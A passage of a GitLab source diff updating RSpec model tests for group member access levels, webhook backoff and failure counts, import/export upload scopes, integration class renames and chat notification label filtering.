+ context 'when admin mode is enabled', :enable_admin_mode do
+ it 'returns OWNER by default' do
+ expect(group.max_member_access_for_user(admin)).to eq(Gitlab::Access::OWNER)
end
end
- context 'when max_access_for_group is set' do
- let(:max_member_access) { 111 }
-
- before do
- group_user.max_access_for_group[group.id] = max_member_access
+ context 'when admin mode is disabled' do
+ it 'returns NO_ACCESS' do
+ expect(group.max_member_access_for_user(admin)).to eq(Gitlab::Access::NO_ACCESS)
end
+ end
- it 'uses the cached value' do
- expect(group.max_member_access_for_user(group_user)).to eq(max_member_access)
- end
+ it 'returns NO_ACCESS when only concrete membership should be considered' do
+ expect(group.max_member_access_for_user(admin, only_concrete_membership: true))
+ .to eq(Gitlab::Access::NO_ACCESS)
end
end
- describe '#max_member_access' do
- context 'group shared with another group' do
- let_it_be(:parent_group_user) { create(:user) }
- let_it_be(:child_group_user) { create(:user) }
+ context 'group shared with another group' do
+ let_it_be(:parent_group_user) { create(:user) }
+ let_it_be(:child_group_user) { create(:user) }
- let_it_be(:group_parent) { create(:group, :private) }
- let_it_be(:group) { create(:group, :private, parent: group_parent) }
- let_it_be(:group_child) { create(:group, :private, parent: group) }
+ let_it_be(:group_parent) { create(:group, :private) }
+ let_it_be(:group) { create(:group, :private, parent: group_parent) }
+ let_it_be(:group_child) { create(:group, :private, parent: group) }
- let_it_be(:shared_group_parent) { create(:group, :private) }
- let_it_be(:shared_group) { create(:group, :private, parent: shared_group_parent) }
- let_it_be(:shared_group_child) { create(:group, :private, parent: shared_group) }
+ let_it_be(:shared_group_parent) { create(:group, :private) }
+ let_it_be(:shared_group) { create(:group, :private, parent: shared_group_parent) }
+ let_it_be(:shared_group_child) { create(:group, :private, parent: shared_group) }
- before do
- group_parent.add_owner(parent_group_user)
- group.add_owner(group_user)
- group_child.add_owner(child_group_user)
+ before do
+ group_parent.add_owner(parent_group_user)
+ group.add_owner(group_user)
+ group_child.add_owner(child_group_user)
- create(:group_group_link, { shared_with_group: group,
- shared_group: shared_group,
- group_access: GroupMember::DEVELOPER })
- end
+ create(:group_group_link, { shared_with_group: group,
+ shared_group: shared_group,
+ group_access: GroupMember::DEVELOPER })
+ end
- context 'with user in the group' do
- it 'returns correct access level' do
- expect(shared_group_parent.max_member_access(group_user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group.max_member_access(group_user)).to eq(Gitlab::Access::DEVELOPER)
- expect(shared_group_child.max_member_access(group_user)).to eq(Gitlab::Access::DEVELOPER)
- end
+ context 'with user in the group' do
+ it 'returns correct access level' do
+ expect(shared_group_parent.max_member_access_for_user(group_user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group.max_member_access_for_user(group_user)).to eq(Gitlab::Access::DEVELOPER)
+ expect(shared_group_child.max_member_access_for_user(group_user)).to eq(Gitlab::Access::DEVELOPER)
+ end
- context 'with lower group access level than max access level for share' do
- let(:user) { create(:user) }
+ context 'with lower group access level than max access level for share' do
+ let(:user) { create(:user) }
- it 'returns correct access level' do
- group.add_reporter(user)
+ it 'returns correct access level' do
+ group.add_reporter(user)
- expect(shared_group_parent.max_member_access(user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group.max_member_access(user)).to eq(Gitlab::Access::REPORTER)
- expect(shared_group_child.max_member_access(user)).to eq(Gitlab::Access::REPORTER)
- end
+ expect(shared_group_parent.max_member_access_for_user(user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group.max_member_access_for_user(user)).to eq(Gitlab::Access::REPORTER)
+ expect(shared_group_child.max_member_access_for_user(user)).to eq(Gitlab::Access::REPORTER)
end
end
+ end
- context 'with user in the parent group' do
- it 'returns correct access level' do
- expect(shared_group_parent.max_member_access(parent_group_user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group.max_member_access(parent_group_user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group_child.max_member_access(parent_group_user)).to eq(Gitlab::Access::NO_ACCESS)
- end
+ context 'with user in the parent group' do
+ it 'returns correct access level' do
+ expect(shared_group_parent.max_member_access_for_user(parent_group_user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group.max_member_access_for_user(parent_group_user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group_child.max_member_access_for_user(parent_group_user)).to eq(Gitlab::Access::NO_ACCESS)
end
+ end
- context 'with user in the child group' do
- it 'returns correct access level' do
- expect(shared_group_parent.max_member_access(child_group_user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group.max_member_access(child_group_user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group_child.max_member_access(child_group_user)).to eq(Gitlab::Access::NO_ACCESS)
- end
+ context 'with user in the child group' do
+ it 'returns correct access level' do
+ expect(shared_group_parent.max_member_access_for_user(child_group_user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group.max_member_access_for_user(child_group_user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group_child.max_member_access_for_user(child_group_user)).to eq(Gitlab::Access::NO_ACCESS)
end
+ end
- context 'unrelated project owner' do
- let(:common_id) { [Project.maximum(:id).to_i, Namespace.maximum(:id).to_i].max + 999 }
- let!(:group) { create(:group, id: common_id) }
- let!(:unrelated_project) { create(:project, id: common_id) }
- let(:user) { unrelated_project.owner }
+ context 'unrelated project owner' do
+ let(:common_id) { [Project.maximum(:id).to_i, Namespace.maximum(:id).to_i].max + 999 }
+ let!(:group) { create(:group, id: common_id) }
+ let!(:unrelated_project) { create(:project, id: common_id) }
+ let(:user) { unrelated_project.owner }
- it 'returns correct access level' do
- expect(shared_group_parent.max_member_access(user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group.max_member_access(user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group_child.max_member_access(user)).to eq(Gitlab::Access::NO_ACCESS)
- end
+ it 'returns correct access level' do
+ expect(shared_group_parent.max_member_access_for_user(user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group.max_member_access_for_user(user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group_child.max_member_access_for_user(user)).to eq(Gitlab::Access::NO_ACCESS)
end
+ end
- context 'user without accepted access request' do
- let!(:user) { create(:user) }
+ context 'user without accepted access request' do
+ let!(:user) { create(:user) }
- before do
- create(:group_member, :developer, :access_request, user: user, group: group)
- end
+ before do
+ create(:group_member, :developer, :access_request, user: user, group: group)
+ end
- it 'returns correct access level' do
- expect(shared_group_parent.max_member_access(user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group.max_member_access(user)).to eq(Gitlab::Access::NO_ACCESS)
- expect(shared_group_child.max_member_access(user)).to eq(Gitlab::Access::NO_ACCESS)
- end
+ it 'returns correct access level' do
+ expect(shared_group_parent.max_member_access_for_user(user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group.max_member_access_for_user(user)).to eq(Gitlab::Access::NO_ACCESS)
+ expect(shared_group_child.max_member_access_for_user(user)).to eq(Gitlab::Access::NO_ACCESS)
end
end
+ end
- context 'multiple groups shared with group' do
- let(:user) { create(:user) }
- let(:group) { create(:group, :private) }
- let(:shared_group_parent) { create(:group, :private) }
- let(:shared_group) { create(:group, :private, parent: shared_group_parent) }
+ context 'multiple groups shared with group' do
+ let(:user) { create(:user) }
+ let(:group) { create(:group, :private) }
+ let(:shared_group_parent) { create(:group, :private) }
+ let(:shared_group) { create(:group, :private, parent: shared_group_parent) }
- before do
- group.add_owner(user)
+ before do
+ group.add_owner(user)
- create(:group_group_link, { shared_with_group: group,
- shared_group: shared_group,
- group_access: GroupMember::DEVELOPER })
- create(:group_group_link, { shared_with_group: group,
- shared_group: shared_group_parent,
- group_access: GroupMember::MAINTAINER })
- end
+ create(:group_group_link, { shared_with_group: group,
+ shared_group: shared_group,
+ group_access: GroupMember::DEVELOPER })
+ create(:group_group_link, { shared_with_group: group,
+ shared_group: shared_group_parent,
+ group_access: GroupMember::MAINTAINER })
+ end
- it 'returns correct access level' do
- expect(shared_group.max_member_access(user)).to eq(Gitlab::Access::MAINTAINER)
- end
+ it 'returns correct access level' do
+ expect(shared_group.max_member_access_for_user(user)).to eq(Gitlab::Access::MAINTAINER)
end
end
end
@@ -2248,14 +2240,16 @@ RSpec.describe Group do
let_it_be(:group) { create(:group, :public) }
it 'returns a maximum of ten owners of the group in recent_sign_in descending order' do
- users = create_list(:user, 12, :with_sign_ins)
+ limit = 2
+ stub_const("Member::ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT", limit)
+ users = create_list(:user, limit + 1, :with_sign_ins)
active_owners = users.map do |user|
create(:group_member, :owner, group: group, user: user)
end
active_owners_in_recent_sign_in_desc_order = group.members_and_requesters
.id_in(active_owners)
- .order_recent_sign_in.limit(10)
+ .order_recent_sign_in.limit(limit)
expect(group.access_request_approvers_to_be_notified).to eq(active_owners_in_recent_sign_in_desc_order)
end
@@ -2619,4 +2613,66 @@ RSpec.describe Group do
expect(group.activity_path).to eq(expected_path)
end
end
+
+ context 'with export' do
+ let(:group) { create(:group, :with_export) }
+
+ it '#export_file_exists? returns true' do
+ expect(group.export_file_exists?).to be true
+ end
+
+ it '#export_archive_exists? returns true' do
+ expect(group.export_archive_exists?).to be true
+ end
+ end
+
+ describe '#open_issues_count', :aggregate_failures do
+ let(:group) { build(:group) }
+
+ it 'provides the issue count' do
+ expect(group.open_issues_count).to eq 0
+ end
+
+ it 'invokes the count service with current_user' do
+ user = build(:user)
+ count_service = instance_double(Groups::OpenIssuesCountService)
+ expect(Groups::OpenIssuesCountService).to receive(:new).with(group, user).and_return(count_service)
+ expect(count_service).to receive(:count)
+
+ group.open_issues_count(user)
+ end
+
+ it 'invokes the count service with no current_user' do
+ count_service = instance_double(Groups::OpenIssuesCountService)
+ expect(Groups::OpenIssuesCountService).to receive(:new).with(group, nil).and_return(count_service)
+ expect(count_service).to receive(:count)
+
+ group.open_issues_count
+ end
+ end
+
+ describe '#open_merge_requests_count', :aggregate_failures do
+ let(:group) { build(:group) }
+
+ it 'provides the merge request count' do
+ expect(group.open_merge_requests_count).to eq 0
+ end
+
+ it 'invokes the count service with current_user' do
+ user = build(:user)
+ count_service = instance_double(Groups::MergeRequestsCountService)
+ expect(Groups::MergeRequestsCountService).to receive(:new).with(group, user).and_return(count_service)
+ expect(count_service).to receive(:count)
+
+ group.open_merge_requests_count(user)
+ end
+
+ it 'invokes the count service with no current_user' do
+ count_service = instance_double(Groups::MergeRequestsCountService)
+ expect(Groups::MergeRequestsCountService).to receive(:new).with(group, nil).and_return(count_service)
+ expect(count_service).to receive(:count)
+
+ group.open_merge_requests_count
+ end
+ end
end
diff --git a/spec/models/hooks/project_hook_spec.rb b/spec/models/hooks/project_hook_spec.rb
index 88149465232..d811f67d16b 100644
--- a/spec/models/hooks/project_hook_spec.rb
+++ b/spec/models/hooks/project_hook_spec.rb
@@ -39,4 +39,15 @@ RSpec.describe ProjectHook do
expect(hook.rate_limit).to be(100)
end
end
+
+ describe '#application_context' do
+ let_it_be(:hook) { build(:project_hook) }
+
+ it 'includes the type and project' do
+ expect(hook.application_context).to include(
+ related_class: 'ProjectHook',
+ project: hook.project
+ )
+ end
+ end
end
diff --git a/spec/models/hooks/service_hook_spec.rb b/spec/models/hooks/service_hook_spec.rb
index 651716c3280..4ce2e729d89 100644
--- a/spec/models/hooks/service_hook_spec.rb
+++ b/spec/models/hooks/service_hook_spec.rb
@@ -30,4 +30,14 @@ RSpec.describe ServiceHook do
expect(hook.rate_limit).to be_nil
end
end
+
+ describe '#application_context' do
+ let(:hook) { build(:service_hook) }
+
+ it 'includes the type' do
+ expect(hook.application_context).to eq(
+ related_class: 'ServiceHook'
+ )
+ end
+ end
end
diff --git a/spec/models/hooks/system_hook_spec.rb b/spec/models/hooks/system_hook_spec.rb
index a72034f1ac5..a99263078b3 100644
--- a/spec/models/hooks/system_hook_spec.rb
+++ b/spec/models/hooks/system_hook_spec.rb
@@ -177,4 +177,14 @@ RSpec.describe SystemHook do
expect(hook.rate_limit).to be_nil
end
end
+
+ describe '#application_context' do
+ let(:hook) { build(:system_hook) }
+
+ it 'includes the type' do
+ expect(hook.application_context).to eq(
+ related_class: 'SystemHook'
+ )
+ end
+ end
end
diff --git a/spec/models/hooks/web_hook_log_archived_spec.rb b/spec/models/hooks/web_hook_log_archived_spec.rb
deleted file mode 100644
index ac726dbaf4f..00000000000
--- a/spec/models/hooks/web_hook_log_archived_spec.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe WebHookLogArchived do
- let(:source_table) { WebHookLog }
- let(:destination_table) { described_class }
-
- it 'has the same columns as the source table' do
- column_names_from_source_table = column_names(source_table)
- column_names_from_destination_table = column_names(destination_table)
-
- expect(column_names_from_destination_table).to match_array(column_names_from_source_table)
- end
-
- it 'has the same null constraints as the source table' do
- constraints_from_source_table = null_constraints(source_table)
- constraints_from_destination_table = null_constraints(destination_table)
-
- expect(constraints_from_destination_table.to_a).to match_array(constraints_from_source_table.to_a)
- end
-
- it 'inserts the same record as the one in the source table', :aggregate_failures do
- expect { create(:web_hook_log) }.to change { destination_table.count }.by(1)
-
- event_from_source_table = source_table.connection.select_one(
- "SELECT * FROM #{source_table.table_name} ORDER BY created_at desc LIMIT 1"
- )
- event_from_destination_table = destination_table.connection.select_one(
- "SELECT * FROM #{destination_table.table_name} ORDER BY created_at desc LIMIT 1"
- )
-
- expect(event_from_destination_table).to eq(event_from_source_table)
- end
-
- def column_names(table)
- table.connection.select_all(<<~SQL)
- SELECT c.column_name
- FROM information_schema.columns c
- WHERE c.table_name = '#{table.table_name}'
- SQL
- end
-
- def null_constraints(table)
- table.connection.select_all(<<~SQL)
- SELECT c.column_name, c.is_nullable
- FROM information_schema.columns c
- WHERE c.table_name = '#{table.table_name}'
- AND c.column_name != 'created_at'
- SQL
- end
-end
diff --git a/spec/models/hooks/web_hook_spec.rb b/spec/models/hooks/web_hook_spec.rb
index b528dbedd2c..1761b537dc0 100644
--- a/spec/models/hooks/web_hook_spec.rb
+++ b/spec/models/hooks/web_hook_spec.rb
@@ -268,11 +268,58 @@ RSpec.describe WebHook do
end
describe '#enable!' do
- it 'makes a hook executable' do
+ it 'makes a hook executable if it was marked as failed' do
hook.recent_failures = 1000
expect { hook.enable! }.to change(hook, :executable?).from(false).to(true)
end
+
+ it 'makes a hook executable if it is currently backed off' do
+ hook.disabled_until = 1.hour.from_now
+
+ expect { hook.enable! }.to change(hook, :executable?).from(false).to(true)
+ end
+
+ it 'does not update hooks unless necessary' do
+ expect(hook).not_to receive(:update!)
+
+ hook.enable!
+ end
+
+ it 'is idempotent on executable hooks' do
+ expect(hook).not_to receive(:update!)
+
+ expect { hook.enable! }.not_to change(hook, :executable?)
+ end
+ end
+
+ describe 'backoff!' do
+ it 'sets disabled_until to the next backoff' do
+ expect { hook.backoff! }.to change(hook, :disabled_until).to(hook.next_backoff.from_now)
+ end
+
+ it 'increments the backoff count' do
+ expect { hook.backoff! }.to change(hook, :backoff_count).by(1)
+ end
+
+ it 'does not let the backoff count exceed the maximum failure count' do
+ hook.backoff_count = described_class::MAX_FAILURES
+
+ expect { hook.backoff! }.not_to change(hook, :backoff_count)
+ end
+ end
+
+ describe 'failed!' do
+ it 'increments the failure count' do
+ expect { hook.failed! }.to change(hook, :recent_failures).by(1)
+ end
+
+ it 'does not allow the failure count to exceed the maximum value' do
+ hook.recent_failures = described_class::MAX_FAILURES
+ expect(hook).not_to receive(:update!)
+
+ expect { hook.failed! }.not_to change(hook, :recent_failures)
+ end
end
describe '#disable!' do
diff --git a/spec/models/import_export_upload_spec.rb b/spec/models/import_export_upload_spec.rb
index 46a611852ab..e13f504b82a 100644
--- a/spec/models/import_export_upload_spec.rb
+++ b/spec/models/import_export_upload_spec.rb
@@ -3,7 +3,9 @@
require 'spec_helper'
RSpec.describe ImportExportUpload do
- subject { described_class.new(project: create(:project)) }
+ let(:project) { create(:project) }
+
+ subject { described_class.new(project: project) }
shared_examples 'stores the Import/Export file' do |method|
it 'stores the import file' do
@@ -24,4 +26,99 @@ RSpec.describe ImportExportUpload do
context 'export' do
it_behaves_like 'stores the Import/Export file', :export_file
end
+
+ describe 'scopes' do
+ let_it_be(:upload1) { create(:import_export_upload, export_file: fixture_file_upload('spec/fixtures/project_export.tar.gz')) }
+ let_it_be(:upload2) { create(:import_export_upload) }
+ let_it_be(:upload3) { create(:import_export_upload, export_file: fixture_file_upload('spec/fixtures/project_export.tar.gz'), updated_at: 25.hours.ago) }
+ let_it_be(:upload4) { create(:import_export_upload, updated_at: 2.days.ago) }
+
+ describe '.with_export_file' do
+ it 'returns uploads with export file' do
+ expect(described_class.with_export_file).to contain_exactly(upload1, upload3)
+ end
+ end
+
+ describe '.updated_before' do
+ it 'returns uploads for a specified date' do
+ expect(described_class.updated_before(24.hours.ago)).to contain_exactly(upload3, upload4)
+ end
+ end
+ end
+
+ context 'ActiveRecord callbacks' do
+ let(:after_save_callbacks) { described_class._save_callbacks.select { |cb| cb.kind == :after } }
+ let(:after_commit_callbacks) { described_class._commit_callbacks.select { |cb| cb.kind == :after } }
+
+ def find_callback(callbacks, key)
+ callbacks.find { |cb| cb.instance_variable_get(:@key) == key }
+ end
+
+ it 'export file is stored in after_commit callback' do
+ expect(find_callback(after_commit_callbacks, :store_export_file!)).to be_present
+ expect(find_callback(after_save_callbacks, :store_export_file!)).to be_nil
+ end
+
+ it 'import file is stored in after_save callback' do
+ expect(find_callback(after_save_callbacks, :store_import_file!)).to be_present
+ expect(find_callback(after_commit_callbacks, :store_import_file!)).to be_nil
+ end
+ end
+
+ describe 'export file' do
+ it '#export_file_exists? returns false' do
+ expect(subject.export_file_exists?).to be false
+ end
+
+ it '#export_archive_exists? returns false' do
+ expect(subject.export_archive_exists?).to be false
+ end
+
+ context 'with export' do
+ let(:project_with_export) { create(:project, :with_export) }
+
+ subject { described_class.with_export_file.find_by(project: project_with_export) }
+
+ it '#export_file_exists? returns true' do
+ expect(subject.export_file_exists?).to be true
+ end
+
+ it '#export_archive_exists? returns false' do
+ expect(subject.export_archive_exists?).to be true
+ end
+
+ context 'when object file does not exist' do
+ before do
+ subject.export_file.file.delete
+ end
+
+ it '#export_file_exists? returns true' do
+ expect(subject.export_file_exists?).to be true
+ end
+
+ it '#export_archive_exists? returns false' do
+ expect(subject.export_archive_exists?).to be false
+ end
+ end
+
+ context 'when checking object existence raises a error' do
+ let(:exception) { Excon::Error::Forbidden.new('not allowed') }
+
+ before do
+ file = double
+ allow(file).to receive(:exists?).and_raise(exception)
+ allow(subject).to receive(:carrierwave_export_file).and_return(file)
+ end
+
+ it '#export_file_exists? returns true' do
+ expect(subject.export_file_exists?).to be true
+ end
+
+ it '#export_archive_exists? returns false' do
+ expect(Gitlab::ErrorTracking).to receive(:track_exception).with(exception)
+ expect(subject.export_archive_exists?).to be false
+ end
+ end
+ end
+ end
end
diff --git a/spec/models/integration_spec.rb b/spec/models/integration_spec.rb
index 77b3778122a..d4ea3e5d08a 100644
--- a/spec/models/integration_spec.rb
+++ b/spec/models/integration_spec.rb
@@ -18,6 +18,7 @@ RSpec.describe Integration do
describe 'validations' do
it { is_expected.to validate_presence_of(:type) }
+ it { is_expected.to validate_exclusion_of(:type).in_array(described_class::BASE_CLASSES) }
where(:project_id, :group_id, :template, :instance, :valid) do
1 | nil | false | false | true
@@ -159,7 +160,7 @@ RSpec.describe Integration do
context 'when instance-level service' do
Integration.available_services_types.each do |service_type|
let(:service) do
- service_type.constantize.new(instance: true)
+ described_class.send(:integration_type_to_model, service_type).new(instance: true)
end
it { is_expected.to be_falsey }
@@ -169,7 +170,7 @@ RSpec.describe Integration do
context 'when group-level service' do
Integration.available_services_types.each do |service_type|
let(:service) do
- service_type.constantize.new(group_id: group.id)
+ described_class.send(:integration_type_to_model, service_type).new(group_id: group.id)
end
it { is_expected.to be_falsey }
@@ -446,7 +447,7 @@ RSpec.describe Integration do
describe "for pushover service" do
let!(:service_template) do
- PushoverService.create!(
+ Integrations::Pushover.create!(
template: true,
properties: {
device: 'MyDevice',
@@ -667,16 +668,16 @@ RSpec.describe Integration do
end
end
- describe '.service_name_to_model' do
+ describe '.integration_name_to_model' do
it 'returns the model for the given service name', :aggregate_failures do
- expect(described_class.service_name_to_model('asana')).to eq(Integrations::Asana)
+ expect(described_class.integration_name_to_model('asana')).to eq(Integrations::Asana)
# TODO We can remove this test when all models have been namespaced:
# https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60968#note_570994955
- expect(described_class.service_name_to_model('youtrack')).to eq(YoutrackService)
+ expect(described_class.integration_name_to_model('prometheus')).to eq(PrometheusService)
end
it 'raises an error if service name is invalid' do
- expect { described_class.service_name_to_model('foo') }.to raise_exception(NameError, /uninitialized constant FooService/)
+ expect { described_class.integration_name_to_model('foo') }.to raise_exception(NameError, /uninitialized constant FooService/)
end
end
@@ -802,7 +803,7 @@ RSpec.describe Integration do
describe 'initialize service with no properties' do
let(:service) do
- BugzillaService.create!(
+ Integrations::Bugzilla.create!(
project: project,
project_url: 'http://gitlab.example.com'
)
@@ -896,20 +897,6 @@ RSpec.describe Integration do
end
end
- describe '#external_wiki?' do
- where(:type, :active, :result) do
- 'ExternalWikiService' | true | true
- 'ExternalWikiService' | false | false
- 'SlackService' | true | false
- end
-
- with_them do
- it 'returns the right result' do
- expect(build(:service, type: type, active: active).external_wiki?).to eq(result)
- end
- end
- end
-
describe '.available_services_names' do
it 'calls the right methods' do
expect(described_class).to receive(:services_names).and_call_original
diff --git a/spec/models/integrations/assembla_spec.rb b/spec/models/integrations/assembla_spec.rb
index bf9033416e9..e5972bce95d 100644
--- a/spec/models/integrations/assembla_spec.rb
+++ b/spec/models/integrations/assembla_spec.rb
@@ -15,8 +15,8 @@ RSpec.describe Integrations::Assembla do
let(:project) { create(:project, :repository) }
before do
- @assembla_service = described_class.new
- allow(@assembla_service).to receive_messages(
+ @assembla_integration = described_class.new
+ allow(@assembla_integration).to receive_messages(
project_id: project.id,
project: project,
service_hook: true,
@@ -29,7 +29,7 @@ RSpec.describe Integrations::Assembla do
end
it "calls Assembla API" do
- @assembla_service.execute(@sample_data)
+ @assembla_integration.execute(@sample_data)
expect(WebMock).to have_requested(:post, stubbed_hostname(@api_url)).with(
body: /#{@sample_data[:before]}.*#{@sample_data[:after]}.*#{project.path}/
).once
diff --git a/spec/models/integrations/bamboo_spec.rb b/spec/models/integrations/bamboo_spec.rb
index 0ba1595bbd8..39966f7978d 100644
--- a/spec/models/integrations/bamboo_spec.rb
+++ b/spec/models/integrations/bamboo_spec.rb
@@ -82,45 +82,45 @@ RSpec.describe Integrations::Bamboo, :use_clean_rails_memory_store_caching do
describe 'before_update :reset_password' do
context 'when a password was previously set' do
it 'resets password if url changed' do
- bamboo_service = service
+ bamboo_integration = service
- bamboo_service.bamboo_url = 'http://gitlab1.com'
- bamboo_service.save!
+ bamboo_integration.bamboo_url = 'http://gitlab1.com'
+ bamboo_integration.save!
- expect(bamboo_service.password).to be_nil
+ expect(bamboo_integration.password).to be_nil
end
it 'does not reset password if username changed' do
- bamboo_service = service
+ bamboo_integration = service
- bamboo_service.username = 'some_name'
- bamboo_service.save!
+ bamboo_integration.username = 'some_name'
+ bamboo_integration.save!
- expect(bamboo_service.password).to eq('password')
+ expect(bamboo_integration.password).to eq('password')
end
it "does not reset password if new url is set together with password, even if it's the same password" do
- bamboo_service = service
+ bamboo_integration = service
- bamboo_service.bamboo_url = 'http://gitlab_edited.com'
- bamboo_service.password = 'password'
- bamboo_service.save!
+ bamboo_integration.bamboo_url = 'http://gitlab_edited.com'
+ bamboo_integration.password = 'password'
+ bamboo_integration.save!
- expect(bamboo_service.password).to eq('password')
- expect(bamboo_service.bamboo_url).to eq('http://gitlab_edited.com')
+ expect(bamboo_integration.password).to eq('password')
+ expect(bamboo_integration.bamboo_url).to eq('http://gitlab_edited.com')
end
end
it 'saves password if new url is set together with password when no password was previously set' do
- bamboo_service = service
- bamboo_service.password = nil
+ bamboo_integration = service
+ bamboo_integration.password = nil
- bamboo_service.bamboo_url = 'http://gitlab_edited.com'
- bamboo_service.password = 'password'
- bamboo_service.save!
+ bamboo_integration.bamboo_url = 'http://gitlab_edited.com'
+ bamboo_integration.password = 'password'
+ bamboo_integration.save!
- expect(bamboo_service.password).to eq('password')
- expect(bamboo_service.bamboo_url).to eq('http://gitlab_edited.com')
+ expect(bamboo_integration.password).to eq('password')
+ expect(bamboo_integration.bamboo_url).to eq('http://gitlab_edited.com')
end
end
end
diff --git a/spec/models/integrations/base_chat_notification_spec.rb b/spec/models/integrations/base_chat_notification_spec.rb
new file mode 100644
index 00000000000..656eaa3bbdd
--- /dev/null
+++ b/spec/models/integrations/base_chat_notification_spec.rb
@@ -0,0 +1,296 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::BaseChatNotification do
+ describe 'Associations' do
+ before do
+ allow(subject).to receive(:activated?).and_return(true)
+ end
+
+ it { is_expected.to validate_presence_of :webhook }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_inclusion_of(:labels_to_be_notified_behavior).in_array(%w[match_any match_all]).allow_blank }
+ end
+
+ describe '#can_test?' do
+ context 'with empty repository' do
+ it 'returns true' do
+ subject.project = create(:project, :empty_repo)
+
+ expect(subject.can_test?).to be true
+ end
+ end
+
+ context 'with repository' do
+ it 'returns true' do
+ subject.project = create(:project, :repository)
+
+ expect(subject.can_test?).to be true
+ end
+ end
+ end
+
+ describe '#execute' do
+ subject(:chat_service) { described_class.new }
+
+ let_it_be(:project) { create(:project, :repository) }
+
+ let(:user) { create(:user) }
+ let(:webhook_url) { 'https://example.gitlab.com/' }
+ let(:data) { Gitlab::DataBuilder::Push.build_sample(subject.project, user) }
+
+ before do
+ allow(chat_service).to receive_messages(
+ project: project,
+ project_id: project.id,
+ service_hook: true,
+ webhook: webhook_url
+ )
+
+ WebMock.stub_request(:post, webhook_url)
+
+ subject.active = true
+ end
+
+ context 'with a repository' do
+ it 'returns true' do
+ expect(chat_service).to receive(:notify).and_return(true)
+ expect(chat_service.execute(data)).to be true
+ end
+ end
+
+ context 'with an empty repository' do
+ it 'returns true' do
+ subject.project = create(:project, :empty_repo)
+
+ expect(chat_service).to receive(:notify).and_return(true)
+ expect(chat_service.execute(data)).to be true
+ end
+ end
+
+ context 'with a project with name containing spaces' do
+ it 'does not remove spaces' do
+ allow(project).to receive(:full_name).and_return('Project Name')
+
+ expect(chat_service).to receive(:get_message).with(any_args, hash_including(project_name: 'Project Name'))
+ chat_service.execute(data)
+ end
+ end
+
+ context 'when the data object has a label' do
+ let_it_be(:label) { create(:label, name: 'Bug') }
+ let_it_be(:label_2) { create(:label, name: 'Community contribution') }
+ let_it_be(:label_3) { create(:label, name: 'Backend') }
+ let_it_be(:issue) { create(:labeled_issue, project: project, labels: [label, label_2, label_3]) }
+ let_it_be(:note) { create(:note, noteable: issue, project: project) }
+
+ let(:data) { Gitlab::DataBuilder::Note.build(note, user) }
+
+ shared_examples 'notifies the chat service' do
+ specify do
+ expect(chat_service).to receive(:notify).with(any_args)
+
+ chat_service.execute(data)
+ end
+ end
+
+ shared_examples 'does not notify the chat service' do
+ specify do
+ expect(chat_service).not_to receive(:notify).with(any_args)
+
+ chat_service.execute(data)
+ end
+ end
+
+ it_behaves_like 'notifies the chat service'
+
+ context 'with label filter' do
+ subject(:chat_service) { described_class.new(labels_to_be_notified: '~Bug') }
+
+ it_behaves_like 'notifies the chat service'
+
+ context 'MergeRequest events' do
+ let(:data) { create(:merge_request, labels: [label]).to_hook_data(user) }
+
+ it_behaves_like 'notifies the chat service'
+ end
+
+ context 'Issue events' do
+ let(:data) { issue.to_hook_data(user) }
+
+ it_behaves_like 'notifies the chat service'
+ end
+ end
+
+ context 'when labels_to_be_notified_behavior is not defined' do
+ subject(:chat_service) { described_class.new(labels_to_be_notified: label_filter) }
+
+ context 'no matching labels' do
+ let(:label_filter) { '~some random label' }
+
+ it_behaves_like 'does not notify the chat service'
+ end
+
+ context 'only one label matches' do
+ let(:label_filter) { '~some random label, ~Bug' }
+
+ it_behaves_like 'notifies the chat service'
+ end
+ end
+
+ context 'when labels_to_be_notified_behavior is blank' do
+ subject(:chat_service) { described_class.new(labels_to_be_notified: label_filter, labels_to_be_notified_behavior: '') }
+
+ context 'no matching labels' do
+ let(:label_filter) { '~some random label' }
+
+ it_behaves_like 'does not notify the chat service'
+ end
+
+ context 'only one label matches' do
+ let(:label_filter) { '~some random label, ~Bug' }
+
+ it_behaves_like 'notifies the chat service'
+ end
+ end
+
+ context 'when labels_to_be_notified_behavior is match_any' do
+ subject(:chat_service) do
+ described_class.new(
+ labels_to_be_notified: label_filter,
+ labels_to_be_notified_behavior: 'match_any'
+ )
+ end
+
+ context 'no label filter' do
+ let(:label_filter) { nil }
+
+ it_behaves_like 'notifies the chat service'
+ end
+
+ context 'no matching labels' do
+ let(:label_filter) { '~some random label' }
+
+ it_behaves_like 'does not notify the chat service'
+ end
+
+ context 'only one label matches' do
+ let(:label_filter) { '~some random label, ~Bug' }
+
+ it_behaves_like 'notifies the chat service'
+ end
+ end
+
+ context 'when labels_to_be_notified_behavior is match_all' do
+ subject(:chat_service) do
+ described_class.new(
+ labels_to_be_notified: label_filter,
+ labels_to_be_notified_behavior: 'match_all'
+ )
+ end
+
+ context 'no label filter' do
+ let(:label_filter) { nil }
+
+ it_behaves_like 'notifies the chat service'
+ end
+
+ context 'no matching labels' do
+ let(:label_filter) { '~some random label' }
+
+ it_behaves_like 'does not notify the chat service'
+ end
+
+ context 'only one label matches' do
+ let(:label_filter) { '~some random label, ~Bug' }
+
